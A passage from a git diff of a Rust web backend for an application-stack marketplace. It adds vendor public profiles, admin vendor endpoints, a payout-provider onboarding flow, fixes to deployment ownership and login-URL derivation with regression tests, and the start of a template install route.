@@ -230,7 +230,7 @@ impl ToolHandler for CreateProjectTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "create_project".to_string(),
-            description: "Create a new application stack project with services and configuration"
+            description: "Create a new blank application stack project. Use this when the user wants to start a new project from scratch (e.g. 'create a new project', 'new draft project', 'start a new stack'). To copy an existing project use clone_project instead."
                 .to_string(),
             input_schema: json!({
                 "type": "object",
diff --git a/src/mcp/tools/user_service/mcp.rs b/src/mcp/tools/user_service/mcp.rs
index df628684..d9e60420 100644
--- a/src/mcp/tools/user_service/mcp.rs
+++ b/src/mcp/tools/user_service/mcp.rs
@@ -9,7 +9,7 @@
 use async_trait::async_trait;
 use serde_json::{json, Value};
 
-use crate::connectors::user_service::UserServiceClient;
+use crate::connectors::user_service::{UserServiceClient, UserServiceConnector};
 use crate::mcp::protocol::{Tool, ToolContent};
 use crate::mcp::registry::{ToolContext, ToolHandler};
 use serde::Deserialize;
diff --git a/src/models/marketplace.rs b/src/models/marketplace.rs
index 9ffb2c5e..e5928feb 100644
--- a/src/models/marketplace.rs
+++ b/src/models/marketplace.rs
@@ -38,6 +38,9 @@ pub struct StackTemplate {
     pub infrastructure_requirements: serde_json::Value,
     pub public_ports: Option<serde_json::Value>,
     pub vendor_url: Option<String>,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub vendor_slug: Option<String>,
     #[serde(skip_serializing_if = "Option::is_none")]
     #[sqlx(default)]
     pub version: Option<String>,
@@ -144,6 +147,111 @@ pub struct MarketplaceVendorProfile {
     pub metadata: serde_json::Value,
     pub created_at: Option<DateTime<Utc>>,
     pub updated_at: Option<DateTime<Utc>>,
+    pub public_slug: Option<String>,
+    pub display_name: Option<String>,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)]
+pub struct PublicVendorProfile {
+    pub creator_user_id: String,
+    pub slug: Option<String>,
+    pub display_name: Option<String>,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+    pub verified: bool,
+    pub rating: Option<f64>,
+    pub rating_count: i64,
+    pub rating_scale: i32,
+    pub metadata: serde_json::Value,
+    pub created_at: Option<DateTime<Utc>>,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)]
+pub struct PublicVendorTemplate {
+    pub id: Uuid,
+    pub creator_user_id: String,
+    pub creator_name: Option<String>,
+    /// Public slug for the vendor's page, e.g. "acme-cloud".
+    /// Use this — not `creator_user_id` — to build `/vendors/{slug}` URLs.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub vendor_slug: Option<String>,
+    pub name: String,
+    pub slug: String,
+    pub short_description: Option<String>,
+    pub long_description: Option<String>,
+    pub category_code: Option<String>,
+    pub product_id: Option<i32>,
+    pub tags: serde_json::Value,
+    pub tech_stack: serde_json::Value,
+    pub status: String,
+    pub is_configurable: Option<bool>,
+    pub view_count: Option<i32>,
+    pub deploy_count: Option<i32>,
+    pub required_plan_name: Option<String>,
+    pub price: Option<f64>,
+    pub billing_cycle: Option<String>,
+    pub currency: Option<String>,
+    pub created_at: Option<DateTime<Utc>>,
+    pub updated_at: Option<DateTime<Utc>>,
+    pub approved_at: Option<DateTime<Utc>>,
+    pub verifications: serde_json::Value,
+    pub infrastructure_requirements: serde_json::Value,
+    pub public_ports: Option<serde_json::Value>,
+    pub vendor_url: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub version: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub changelog: Option<String>,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub config_files: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub assets: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub seed_jobs: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub post_deploy_hooks: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub update_mode_capabilities: Option<serde_json::Value>,
+    pub rating: Option<f64>,
+    pub rating_count: i64,
+    pub rating_scale: i32,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)]
+pub struct TemplateRatingSummary {
+    pub template_id: Uuid,
+    pub rating: Option<f64>,
+    pub rating_count: i64,
+    pub rating_scale: i32,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+pub struct MyTemplateRating {
+    pub template_id: Uuid,
+    pub rating_id: i32,
+    pub rating: f64,
+    pub rating_scale: i32,
+    pub comment: Option<String>,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)]
+pub struct PublicVendorPage {
+    pub vendor: PublicVendorProfile,
+    pub templates: Vec<PublicVendorTemplate>,
 }
 
 impl MarketplaceVendorProfile {
@@ -158,6 +266,11 @@ impl MarketplaceVendorProfile {
             metadata: serde_json::json!({}),
             created_at: None,
             updated_at: None,
+            public_slug: None,
+            display_name: None,
+            bio: None,
+            avatar_url: None,
+            website_url: None,
         }
     }
 }
diff --git a/src/models/rating.rs b/src/models/rating.rs
index 772fc78a..626d4d37 100644
--- a/src/models/rating.rs
+++ b/src/models/rating.rs
@@ -1,7 +1,7 @@
 use crate::models;
 use chrono::{DateTime, Utc};
 
-#[derive(Debug, Default)]
+#[derive(Debug, Default, sqlx::FromRow)]
 pub struct Rating {
     pub id: i32,
     pub user_id: String, // external user_id, 100, taken using token (middleware?)
diff --git a/src/routes/agent/link.rs b/src/routes/agent/link.rs
index bce2767b..99dae5c1 100644
--- a/src/routes/agent/link.rs
+++ b/src/routes/agent/link.rs
@@ -84,10 +84,12 @@ pub async fn link_handler(
         helpers::JsonResponse::<LinkAgentResponse>::build().not_found("Deployment not found")
     })?;
 
-    // Check ownership: deployment.user_id must match the authenticated user
-    if deployment.user_id.as_deref() != Some(&profile.email) {
+    // Check ownership: deployment.user_id stores the queue_key (profile.id),
+    // not the email. See UserProfile.id doc comment in types.rs.
+    if deployment.user_id.as_deref() != Some(&profile.id) {
         tracing::warn!(
             user = %profile.email,
+            user_id = %profile.id,
             deployment_user = ?deployment.user_id,
             deployment_hash = %payload.deployment_id,
             "User attempted to link to deployment they don't own"
diff --git a/src/routes/agent/login.rs b/src/routes/agent/login.rs
index e5111d1e..e1ffba55 100644
--- a/src/routes/agent/login.rs
+++ b/src/routes/agent/login.rs
@@ -50,11 +50,11 @@ pub async fn login_handler(
     user_service: web::Data<Arc<dyn UserServiceConnector>>,
     _req: HttpRequest,
 ) -> Result<HttpResponse> {
-    // 1. Authenticate user against TryDirect OAuth server
-    let auth_base = settings
-        .auth_url
-        .trim_end_matches("/me")
-        .trim_end_matches('/');
+    // 1. Authenticate user against the TryDirect user service.
+    // /auth/login lives at the user-service root, not under /oauth_server/api/,
+    // so we use normalize_user_service_base_url() which strips the full tail.
+    let auth_base =
+        crate::connectors::user_service::plan::normalize_user_service_base_url(&settings.auth_url);
     let login_url = format!("{}/auth/login", auth_base);
 
     let http_client = reqwest::Client::builder()
@@ -114,8 +114,11 @@ pub async fn login_handler(
                 .internal_server_error(format!("Failed to fetch user profile: {}", e))
         })?;
 
-    // 3. Fetch user's deployments from Stacker DB
-    let deployments = db::deployment::fetch_by_user(api_pool.get_ref(), &profile.email, 50)
+    // 3. Fetch user's deployments from Stacker DB.
+    // deployment.user_id holds the user's cross-service identity (queue_key,
+    // exposed as `_id` on the user service wire), not the email — querying
+    // by email returns zero rows even when the user has deployments.
+    let deployments = db::deployment::fetch_by_user(api_pool.get_ref(), &profile.id, 50)
         .await
         .map_err(|e| {
             helpers::JsonResponse::<AgentLoginResponse>::build()
@@ -157,7 +160,42 @@ pub async fn login_handler(
 
     Ok(HttpResponse::Ok().json(AgentLoginResponse {
         session_token: access_token,
-        user_id: profile.email,
+        user_id: profile.id,
         deployments: deployment_infos,
     }))
 }
+
+#[cfg(test)]
+mod tests {
+    use crate::connectors::user_service::plan::normalize_user_service_base_url;
+
+    /// Regression test: the production `auth_url` points at the user service
+    /// `/me` endpoint, but `/auth/login` lives at the user-service root, not
+    /// nested under `/oauth_server/api/`. The derivation must strip the full
+    /// `/oauth_server/api/me` tail, not just `/me`.
+    #[test]
+    fn login_url_is_derived_from_me_endpoint_correctly() {
+        let auth_url = "https://dev.try.direct/server/user/oauth_server/api/me";
+        let base = normalize_user_service_base_url(auth_url);
+        let login_url = format!("{}/auth/login", base);
+        assert_eq!(login_url, "https://dev.try.direct/server/user/auth/login");
+    }
+
+    #[test]
+    fn login_url_is_idempotent_when_auth_url_already_points_at_login() {
+        // If an operator misconfigures auth_url to already point at /auth/login,
+        // we must not produce a doubled path like /auth/login/auth/login.
+        let auth_url = "https://dev.try.direct/server/user/auth/login";
+        let base = normalize_user_service_base_url(auth_url);
+        let login_url = format!("{}/auth/login", base);
+        assert_eq!(login_url, "https://dev.try.direct/server/user/auth/login");
+    }
+
+    #[test]
+    fn login_url_handles_trailing_slash_in_auth_url() {
+        let auth_url = "https://dev.try.direct/server/user/oauth_server/api/me/";
+        let base = normalize_user_service_base_url(auth_url);
+        let login_url = format!("{}/auth/login", base);
+        assert_eq!(login_url, "https://dev.try.direct/server/user/auth/login");
+    }
+}
diff --git a/src/routes/chat/get.rs b/src/routes/chat/get.rs
index fed31ef6..25706359 100644
--- a/src/routes/chat/get.rs
+++ b/src/routes/chat/get.rs
@@ -26,6 +26,6 @@ pub async fn item(
         .map_err(|err| JsonResponse::internal_server_error(err.to_string()))
         .and_then(|conv| match conv {
             Some(c) => Ok(JsonResponse::build().set_item(Some(c)).ok("OK")),
-            None => Err(JsonResponse::not_found("No chat history found")),
+            None => Ok(JsonResponse::build().ok("OK")),
         })
 }
diff --git a/src/routes/marketplace/admin.rs b/src/routes/marketplace/admin.rs
index 14897d87..5d53c1be 100644
--- a/src/routes/marketplace/admin.rs
+++ b/src/routes/marketplace/admin.rs
@@ -622,6 +622,102 @@ pub async fn update_vendor_profile_handler(
     Ok(JsonResponse::<serde_json::Value>::build().ok("Vendor profile updated"))
 }
 
+/// `PATCH /api/admin/vendors/{creator_user_id}/vendor-profile`
+///
+/// Same as the template-scoped endpoint but addressed directly by `creator_user_id`,
+/// allowing vendor profile updates when the vendor has no approved template yet
+/// or when the product-bridge mapping is unavailable in the admin UI.
+#[tracing::instrument(name = "Admin update vendor profile by creator id", skip_all)]
+#[patch("/{creator_user_id}/vendor-profile")]
+pub async fn update_vendor_profile_by_creator_handler(
+    _admin: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<AdminVendorProfileRequest>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let creator_user_id = path.into_inner().0;
+    let req = body.into_inner();
+
+    if req.verification_status.is_none()
+        && req.onboarding_status.is_none()
+        && req.payouts_enabled.is_none()
+        && req.payout_provider.is_none()
+        && req.payout_account_ref.is_none()
+        && req.metadata.is_none()
+    {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("No vendor profile fields provided"));
+    }
+
+    validate_vendor_status(
+        "verification_status",
+        req.verification_status.as_deref(),
+        ALLOWED_VENDOR_VERIFICATION_STATUSES,
+    )?;
+    validate_vendor_status(
+        "onboarding_status",
+        req.onboarding_status.as_deref(),
+        ALLOWED_VENDOR_ONBOARDING_STATUSES,
+    )?;
+
+    if let Some(metadata) = req.metadata.as_ref() {
+        if !metadata.is_object() {
+            return Err(JsonResponse::<serde_json::Value>::build()
+                .bad_request("metadata must be a JSON object"));
+        }
+    }
+
+    db::marketplace::upsert_vendor_profile(
+        pg_pool.get_ref(),
+        &creator_user_id,
+        req.verification_status.as_deref(),
+        req.onboarding_status.as_deref(),
+        req.payouts_enabled,
+        req.payout_provider.as_deref(),
+        req.payout_account_ref.as_deref(),
+        req.metadata,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Vendor profile updated"))
+}
+
+/// List all marketplace vendor profiles for the admin vendor overview.
+/// Returns every profile row regardless of whether the vendor has published products,
+/// so the admin UI can surface vendors who are onboarding or have only submitted templates.
+#[tracing::instrument(name = "Admin list vendor profiles", skip_all)]
+#[get("")]
+pub async fn list_vendor_profiles_handler(
+    _admin: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    db::marketplace::admin_list_vendor_profiles(pg_pool.get_ref())
+        .await
+        .map_err(|err| {
+            JsonResponse::<Vec<models::MarketplaceVendorProfile>>::build()
+                .internal_server_error(err)
+        })
+        .map(|profiles| {
+            let items: Vec<serde_json::Value> = profiles
+                .into_iter()
+                .map(|p| {
+                    serde_json::json!({
+                        "creator_user_id":     p.creator_user_id,
+                        "public_slug":         p.public_slug,
+                        "display_name":        p.display_name,
+                        "verification_status": p.verification_status,
+                        "onboarding_status":   p.onboarding_status,
+                        "payouts_enabled":     p.payouts_enabled,
+                        "created_at":          p.created_at,
+                        "updated_at":          p.updated_at,
+                    })
+                })
+                .collect();
+            JsonResponse::build().set_list(items).ok("OK")
+        })
+}
+
 /// Request body for PATCH /{id}/verifications.
 /// Each key is a boolean flag. Unknown keys are accepted and stored as-is.
 /// Omitted keys are not touched (partial update via JSONB `||`).
diff --git a/src/routes/marketplace/creator.rs b/src/routes/marketplace/creator.rs
index 25151251..f5441ad2 100644
--- a/src/routes/marketplace/creator.rs
+++ b/src/routes/marketplace/creator.rs
@@ -4,7 +4,7 @@ use crate::db;
 use crate::helpers::JsonResponse;
 use crate::models;
 use crate::services;
-use actix_web::{get, post, put, web, Responder, Result};
+use actix_web::{get, patch, post, put, web, HttpResponse, Responder, Result};
 use sqlx::PgPool;
 use std::sync::Arc;
 use tracing::Instrument;
@@ -40,6 +40,11 @@ fn build_vendor_profile_status_item(
             "onboarding_status": vendor_profile.onboarding_status,
             "payouts_enabled": vendor_profile.payouts_enabled,
             "payout_provider": vendor_profile.payout_provider,
+            "public_slug": vendor_profile.public_slug,
+            "display_name": vendor_profile.display_name,
+            "bio": vendor_profile.bio,
+            "avatar_url": vendor_profile.avatar_url,
+            "website_url": vendor_profile.website_url,
             "metadata": vendor_profile.metadata,
             "created_at": vendor_profile.created_at,
             "updated_at": vendor_profile.updated_at
@@ -1077,7 +1082,55 @@ pub async fn vendor_profile_status_handler(
         .ok("OK"))
 }
 
-#[tracing::instrument(name = "Get my self vendor profile", skip_all)]
+#[derive(Debug, serde::Deserialize)]
+pub struct UpdateVendorPublicProfileRequest {
+    /// URL-safe slug for the vendor's public page, e.g. "acme-cloud"
+    pub public_slug: Option<String>,
+    pub display_name: Option<String>,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+}
+
+#[tracing::instrument(name = "Update my vendor public profile", skip_all)]
+#[patch("/mine/vendor-profile")]
+pub async fn update_vendor_public_profile_handler(
+    user: Option<web::ReqData<Arc<models::User>>>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<UpdateVendorPublicProfileRequest>,
+) -> Result<impl Responder> {
+    let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
+    let req = body.into_inner();
+
+    if let Some(ref slug) = req.public_slug {
+        let valid = !slug.is_empty()
+            && slug.len() <= 100
+            && slug.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
+            && !slug.starts_with('-')
+            && !slug.ends_with('-');
+        if !valid {
+            return Err(JsonResponse::<serde_json::Value>::build().bad_request(
+                "public_slug must be 1–100 characters, lowercase alphanumeric and hyphens only, no leading/trailing hyphens",
+            ));
+        }
+    }
+
+    db::marketplace::update_vendor_public_profile(
+        pg_pool.get_ref(),
+        &user.id,
+        req.public_slug.as_deref(),
+        req.display_name.as_deref(),
+        req.bio.as_deref(),
+        req.avatar_url.as_deref(),
+        req.website_url.as_deref(),
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Vendor public profile updated"))
+}
+
+#[tracing::instrument(name = "Get my vendor profile", skip_all)]
 #[get("/mine/vendor-profile")]
 pub async fn self_vendor_profile_handler(
     user: Option<web::ReqData<Arc<models::User>>>,
@@ -1103,21 +1156,64 @@ pub async fn self_vendor_profile_handler(
 pub async fn create_onboarding_link_handler(
     user: Option<web::ReqData<Arc<models::User>>>,
     pg_pool: web::Data<PgPool>,
+    payout_provider: web::Data<Arc<dyn services::PayoutProvider>>,
 ) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
     let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
 
-    let generated_account_ref = format!("acct_mock_{}", uuid::Uuid::new_v4().simple());
+    let existing_profile =
+        db::marketplace::get_vendor_profile_by_creator(pg_pool.get_ref(), &user.id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+    let existing_account_ref = existing_profile.as_ref().and_then(|profile| {
+        (profile.payout_provider.as_deref() == Some(payout_provider.provider_code()))
+            .then(|| profile.payout_account_ref.as_deref())
+            .flatten()
+    });
+
+    let onboarding_link = payout_provider
+        .create_onboarding_link(&user, existing_account_ref)
+        .await
+        .map_err(|err| {
+            let user_msg = err.user_message();
+            let is_platform = err.is_platform_setup_error();
+            tracing::error!(
+                platform_setup = is_platform,
+                raw_error = %err,
+                "Payout provider onboarding-link failed"
+            );
+            // 503 for platform-setup issues (vendor cannot act); 422 for vendor issues.
+            let http_status = if is_platform { 503u16 } else { 422 };
+            let body = serde_json::json!({
+                "message": user_msg,
+                "code": if is_platform { "platform_setup_required" } else { "vendor_action_required" },
+            });
+            let status_code = actix_web::http::StatusCode::from_u16(http_status)
+                .unwrap_or(actix_web::http::StatusCode::INTERNAL_SERVER_ERROR);
+            let response = HttpResponse::build(status_code).json(body);
+            actix_web::Error::from(
+                actix_web::error::InternalError::from_response(err, response)
+            )
+        })?;
+
     let (vendor_profile, linkage_created) = db::marketplace::ensure_vendor_onboarding_link(
         pg_pool.get_ref(),
         &user.id,
-        "mock",
-        &generated_account_ref,
+        &onboarding_link.provider,
+        &onboarding_link.account_ref,
     )
     .await
     .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
 
     let mut result = build_vendor_profile_status_item(&user.id, None, vendor_profile);
     result["linkage_created"] = serde_json::Value::Bool(linkage_created);
+    result["onboarding_url"] = onboarding_link
+        .onboarding_url
+        .map(serde_json::Value::String)
+        .unwrap_or(serde_json::Value::Null);
+    result["onboarding_expires_at"] = onboarding_link
+        .expires_at
+        .map(|expires_at| serde_json::Value::Number(expires_at.into()))
+        .unwrap_or(serde_json::Value::Null);
 
     Ok(JsonResponse::<serde_json::Value>::build()
         .set_item(result)
@@ -1129,13 +1225,58 @@ pub async fn create_onboarding_link_handler(
 pub async fn complete_onboarding_handler(
     user: Option<web::ReqData<Arc<models::User>>>,
     pg_pool: web::Data<PgPool>,
+    payout_provider: web::Data<Arc<dyn services::PayoutProvider>>,
 ) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
     let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
 
-    let completion =
-        db::marketplace::complete_vendor_onboarding(pg_pool.get_ref(), &user.id, "creator_api")
+    let existing_profile =
+        db::marketplace::get_vendor_profile_by_creator(pg_pool.get_ref(), &user.id)
             .await
-            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+            .ok_or_else(|| {
+                JsonResponse::<serde_json::Value>::build()
+                    .conflict("Onboarding link must exist before completion")
+            })?;
+
+    let account_ref = existing_profile
+        .payout_account_ref
+        .as_deref()
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build()
+                .conflict("Onboarding link must exist before completion")
+        })?;
+    let linked_provider = existing_profile
+        .payout_provider
+        .as_deref()
+        .unwrap_or("unknown")
+        .to_string();
+    if linked_provider != payout_provider.provider_code() {
+        return Err(JsonResponse::<serde_json::Value>::build().conflict(format!(
+            "Vendor profile is linked to payout provider '{}', but active provider is '{}'",
+            linked_provider,
+            payout_provider.provider_code()
+        )));
+    }
+
+    let provider_completion = payout_provider
+        .complete_onboarding(account_ref)
+        .await
+        .map_err(|err| {
+            JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+        })?;
+    if !provider_completion.completed {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .conflict("Payout provider onboarding is not complete"));
+    }
+
+    let completion = db::marketplace::complete_vendor_onboarding(
+        pg_pool.get_ref(),
+        &user.id,
+        "creator_api",
+        provider_completion.payouts_enabled,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
 
     let (vendor_profile, completion_recorded) = match completion {
         Some(result) => result,
diff --git a/src/routes/marketplace/install.rs b/src/routes/marketplace/install.rs
new file mode 100644
index 00000000..f5b2f17f
--- /dev/null
+++ b/src/routes/marketplace/install.rs
@@ -0,0 +1,734 @@
+use std::sync::Arc;
+
+use actix_web::{post, web, Responder, Result};
+use crate::helpers::redact::{redact_sensitive_json_values, redact_yaml_string};
+use serde::{Deserialize, Serialize};
+use serde_json::{Map, Value};
+use serde_valid::Validate;
+use sqlx::PgPool;
+
+use crate::configuration::Settings;
+use crate::connectors::install_service::InstallServiceConnector;
+use crate::connectors::user_service::UserServiceConnector;
+use crate::forms;
+use crate::forms::project::ProjectForm;
+use crate::forms::project::Var;
+use crate::helpers::{JsonResponse, MqManager, VaultClient};
+use crate::{db, models, project_app, services};
+
+#[derive(Debug, Deserialize)]
+pub struct InstallTemplateRequest {
+    pub name: Option<String>,
+    #[serde(default)]
+    pub deploy: Option<forms::project::Deploy>,
+    #[serde(default)]
+    pub install_inputs: Map<String, Value>,
+}
+
+#[derive(Debug, Serialize)]
+pub struct InstallTemplateResponse {
+    pub project: models::Project,
+    pub template: serde_json::Value,
+    pub latest_version: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub deployment_id: Option<i32>,
+}
+
+fn map_access_error(err: services::MarketplaceAccessError) -> actix_web::Error {
+    match err {
+        services::MarketplaceAccessError::ValidationFailed(reason) => {
+            tracing::error!("Marketplace access validation failed: {}", reason);
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Failed to validate marketplace access")
+        }
+        services::MarketplaceAccessError::MissingUserToken
+        | services::MarketplaceAccessError::InsufficientFeaturePlan
+        | services::MarketplaceAccessError::InsufficientTemplatePlan { .. }
+        | services::MarketplaceAccessError::TemplateNotOwned => {
+            JsonResponse::<serde_json::Value>::build().forbidden(err.to_string())
+        }
+    }
+}
+
+fn normalized_project_name(name: &str) -> String {
+    models::sanitize_project_name(name)
+        .chars()
+        .take(50)
+        .collect::<String>()
+}
+
+fn build_project_form(
+    template: &models::StackTemplate,
+    latest_version: &models::StackTemplateVersion,
+    requested_name: Option<&str>,
+) -> Result<ProjectForm> {
+    let is_yaml = latest_version.definition_format.as_deref() == Some("yaml");
+
+    let mut form: ProjectForm = if is_yaml {
+        let yaml_str = latest_version
+            .stack_definition
+            .as_str()
+            .ok_or_else(|| {
+                JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                    "Template '{}' has a YAML stack definition that is not a string",
+                    template.slug
+                ))
+            })?;
+
+        let project_name = requested_name
+            .map(str::trim)
+            .filter(|name| !name.is_empty())
+            .unwrap_or(&template.slug);
+        let stack_code = normalized_project_name(project_name);
+
+        let mut config_files: Vec<serde_json::Value> =
+            serde_json::from_value(latest_version.config_files.clone()).unwrap_or_default();
+        let has_compose = config_files.iter().any(|f| {
+            f.get("name")
+                .and_then(|n| n.as_str())
+                .map(|n| n.contains("docker-compose") || n.contains("compose"))
+                .unwrap_or(false)
+        });
+        if !has_compose {
+            config_files.push(serde_json::json!({
+                "name": "docker-compose.yml",
+                "content": yaml_str
+            }));
+        }
+
+        let form_value = serde_json::json!({
+            "custom": {
+                "custom_stack_code": stack_code,
+                "project_name": template.name.clone(),
+                "custom_stack_short_description": template.short_description,
+                "custom_stack_category": template.category_code.as_ref().map(|c| vec![c.clone()]),
+                "web": [],
+                "service": serde_json::Value::Array(vec![]),
+                "feature": serde_json::Value::Array(vec![]),
+                "networks": [],
+                "marketplace_config_files": config_files,
+                "marketplace_version": latest_version.version,
+                "marketplace_changelog": latest_version.changelog,
+                "marketplace_assets": latest_version.assets,
+                "marketplace_seed_jobs": latest_version.seed_jobs,
+                "marketplace_post_deploy_hooks": latest_version.post_deploy_hooks,
+                "marketplace_update_mode_capabilities": latest_version.update_mode_capabilities,
+            }
+        });
+
+        serde_json::from_value(form_value).map_err(|err| {
+            JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                "Template '{}' has an invalid stack definition: {}",
+                template.slug, err
+            ))
+        })?
+    } else {
+        serde_json::from_value(latest_version.stack_definition.clone()).map_err(|err| {
+            JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                "Template '{}' cannot be installed because its stack definition is invalid: {}",
+                template.slug, err
+            ))
+        })?
+    };
+
+    if !is_yaml {
+        if let Some(name) = requested_name
+            .map(str::trim)
+            .filter(|name| !name.is_empty())
+        {
+            let project_name = normalized_project_name(name);
+            form.custom.custom_stack_code = project_name.clone();
+            if form.custom.project_name.is_none() {
+                form.custom.project_name = Some(project_name);
+            }
+        }
+
+        form.custom.marketplace_version = Some(latest_version.version.clone());
+        form.custom.marketplace_changelog = latest_version.changelog.clone();
+        form.custom.marketplace_config_files = latest_version.config_files.clone();
+        form.custom.marketplace_assets = latest_version.assets.clone();
+        form.custom.marketplace_seed_jobs = latest_version.seed_jobs.clone();
+        form.custom.marketplace_post_deploy_hooks = latest_version.post_deploy_hooks.clone();
+        form.custom.marketplace_update_mode_capabilities = latest_version
+            .update_mode_capabilities
+            .clone()
+            .unwrap_or_default();
+    }
+
+    form.validate()
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err.to_string()))?;
+
+    Ok(form)
+}
+
+fn catalog_application_project_form(
+    application: &serde_json::Value,
+    slug: &str,
+    requested_name: Option<&str>,
+) -> Result<ProjectForm> {
+    let app_name = application
+        .get("name")
+        .and_then(|value| value.as_str())
+        .unwrap_or(slug);
+    let project_name = requested_name
+        .map(str::trim)
+        .filter(|name| !name.is_empty())
+        .unwrap_or(app_name);
+    let stack_code = normalized_project_name(project_name);
+
+    let form_value = serde_json::json!({
+        "custom": {
+            "custom_stack_code": stack_code,
+            "project_name": project_name,
+            "custom_stack_short_description": application
+                .get("description")
+                .and_then(|value| value.as_str())
+                .unwrap_or_default(),
+            "custom_stack_category": application
+                .get("categories")
+                .cloned()
+                .or_else(|| application.get("category").map(|category| serde_json::json!([category])))
+                .unwrap_or_else(|| serde_json::json!([])),
+            "web": [],
+            "feature": [],
+            "service": [],
+            "networks": [],
+            "catalog_application": application
+        }
+    });
+
+    let form: ProjectForm = serde_json::from_value(form_value).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().bad_request(format!(
+            "Catalog application '{}' cannot be installed because its generated project form is invalid: {}",
+            slug, err
+        ))
+    })?;
+
+    form.validate()
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err.to_string()))?;
+
+    Ok(form)
+}
+
+async fn insert_project_from_form(
+    pg_pool: &PgPool,
+    user: &models::User,
+    form: &ProjectForm,
+    request_json: serde_json::Value,
+) -> Result<models::Project> {
+    let project_name = form.custom.custom_stack_code.clone();
+    let metadata = request_json.clone();
+
+    let project = models::Project::new(user.id.clone(), project_name, metadata, request_json);
+
+    let project = db::project::insert(pg_pool, project).await.map_err(|err| {
+        tracing::error!("Failed to create installed project: {}", err);
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+
+    project_app::sync_project_level_apps_from_form(pg_pool, project.id, form)
+        .await
+        .map_err(|err| {
+            tracing::error!(
+                "Failed to sync project-level apps for installed project {}: {}",
+                project.id,
+                err
+            );
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Internal Server Error")
+        })?;
+
+    Ok(project)
+}
+
+async fn maybe_deploy_installed_project(
+    user: &models::User,
+    project: models::Project,
+    mut deploy: Option<forms::project::Deploy>,
+    slug: &str,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+    install_inputs: &Map<String, Value>,
+) -> Result<(models::Project, Option<i32>)> {
+    let Some(mut deploy_form) = deploy.take() else {
+        return Ok((project, None));
+    };
+
+    deploy_form.stack.stack_code = Some(slug.to_string());
+    apply_install_inputs_to_deploy(&mut deploy_form, install_inputs);
+    let project_for_response = project.clone();
+    let (_, deployment_id) = crate::routes::project::deploy::deploy_project(
+        user,
+        project,
+        deploy_form,
+        pg_pool,
+        mq_manager,
+        settings,
+        user_service,
+        install_service,
+        vault_client,
+    )
+    .await?;
+
+    Ok((project_for_response, Some(deployment_id)))
+}
+
+fn apply_install_inputs_to_deploy(
+    deploy_form: &mut forms::project::Deploy,
+    install_inputs: &Map<String, Value>,
+) {
+    if install_inputs.is_empty() {
+        return;
+    }
+    let vars = deploy_form.stack.vars.get_or_insert_with(Vec::new);
+    for (key, value) in install_inputs {
+        vars.retain(|var| var.key.as_deref() != Some(key.as_str()));
+        vars.push(Var {
